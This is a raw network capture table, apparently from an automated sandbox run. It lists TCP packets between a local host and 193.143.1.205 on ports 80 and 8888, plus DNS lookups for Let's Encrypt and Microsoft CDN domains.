Jan 11, 2025 00:10:11.219819069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219860077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219868898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219868898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219873905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219892979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219904900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219918013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219928026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219938993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219938993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219942093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219954967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219969988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220046997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220060110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220073938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220086098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220086098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220086098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220086098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220099926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220112085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220124006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220143080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220146894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220146894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220155001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220168114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220187902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220200062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220211029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220223904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220233917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220235109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220233917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220235109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220252037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220264912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220273972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220273972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220278025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220336914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220376015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220376015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220535994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220590115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220627069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220662117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220695972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220704079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220704079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.220736027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.220938921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.232997894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.274760962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.492108107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.515537024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520349979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520370960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520385027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520416975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520445108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520462036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520473957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520484924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520498037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520529985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520529985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520644903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520657063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520668030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520682096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520693064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520709991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520721912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520724058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520739079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520752907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520762920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520775080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520786047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520790100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520790100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520798922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520809889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520817041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520823002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520834923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.520963907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.520963907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.571582079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.660608053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.665769100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665811062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665842056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665858984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665878057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665895939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665910959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.665910959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.665913105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665945053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665962934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665977955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665996075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.665999889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.665999889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666013002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666030884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666047096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666074038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666094065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666101933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666101933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666101933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666111946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666131020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666147947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666152954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666167974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666174889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666184902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666210890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666214943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666228056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666250944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666255951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666273117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666290998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666309118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666327000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666328907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666328907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666357994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666373968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666389942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666390896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666409016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666429996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666443110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666446924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666460037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666475058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666492939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666510105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666527033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666543961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666560888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666563988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666564941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666564941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666587114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666606903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666623116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666626930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666640043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666656017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666672945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666682005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666682005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666690111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666707039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666713953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666734934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666753054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666758060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666769028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666786909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666802883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666805029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666821957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666838884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666857958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666867018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666867018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666878939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666897058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666913033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666912079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666929960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666930914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.666948080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666965961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.666982889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667000055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667006016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667006016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667016983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667048931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667187929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667248964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667265892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667282104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667298079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667310953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667310953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667346954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667359114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667367935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667383909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667402029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667418957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667426109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667448044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667464972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667480946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667494059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667494059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667500019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667526007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667543888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667562008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667579889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667608976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667608976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667608976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667610884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667628050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667645931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667663097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667690992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667709112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667726040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667735100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667735100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667735100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667742014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667758942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667776108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667778015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667795897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667805910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667824984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667841911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667854071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667859077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667885065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667903900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667912006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667921066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667937994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667953968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667973995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667992115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.667998075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667998075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.667998075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668008089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668029070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668044090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668061972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668077946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668095112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668101072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668101072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668101072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668111086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668139935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668158054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668174982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668180943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668180943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668191910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668209076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668229103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668231010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668323994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668502092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668524981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668543100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668550014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668560982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668579102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668592930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668596029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668613911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668621063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668631077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668648958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.668693066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.668693066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.860445976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.876442909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:12.180968046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:12.687850952 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:12.694410086 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:12.694529057 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:12.694710970 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:12.701704025 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:13.462409019 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:13.505208969 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:13.601362944 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:10:20.829843998 CET	54025	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:10:20.829843998 CET	192.168.2.6	1.1.1.1	0x406c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:10:20.839138031 CET	1.1.1.1	192.168.2.6	0x406c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:21.577764034 CET	1.1.1.1	192.168.2.6	0x1745	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:25.459091902 CET	1.1.1.1	192.168.2.6	0xeeb4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:25.459091902 CET	1.1.1.1	192.168.2.6	0xeeb4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:37.532155037 CET	1.1.1.1	192.168.2.6	0xf2b3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:37.532155037 CET	1.1.1.1	192.168.2.6	0xf2b3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:11:01.643162966 CET	1.1.1.1	192.168.2.6	0xfa08	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:11:01.643162966 CET	1.1.1.1	192.168.2.6	0xfa08	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
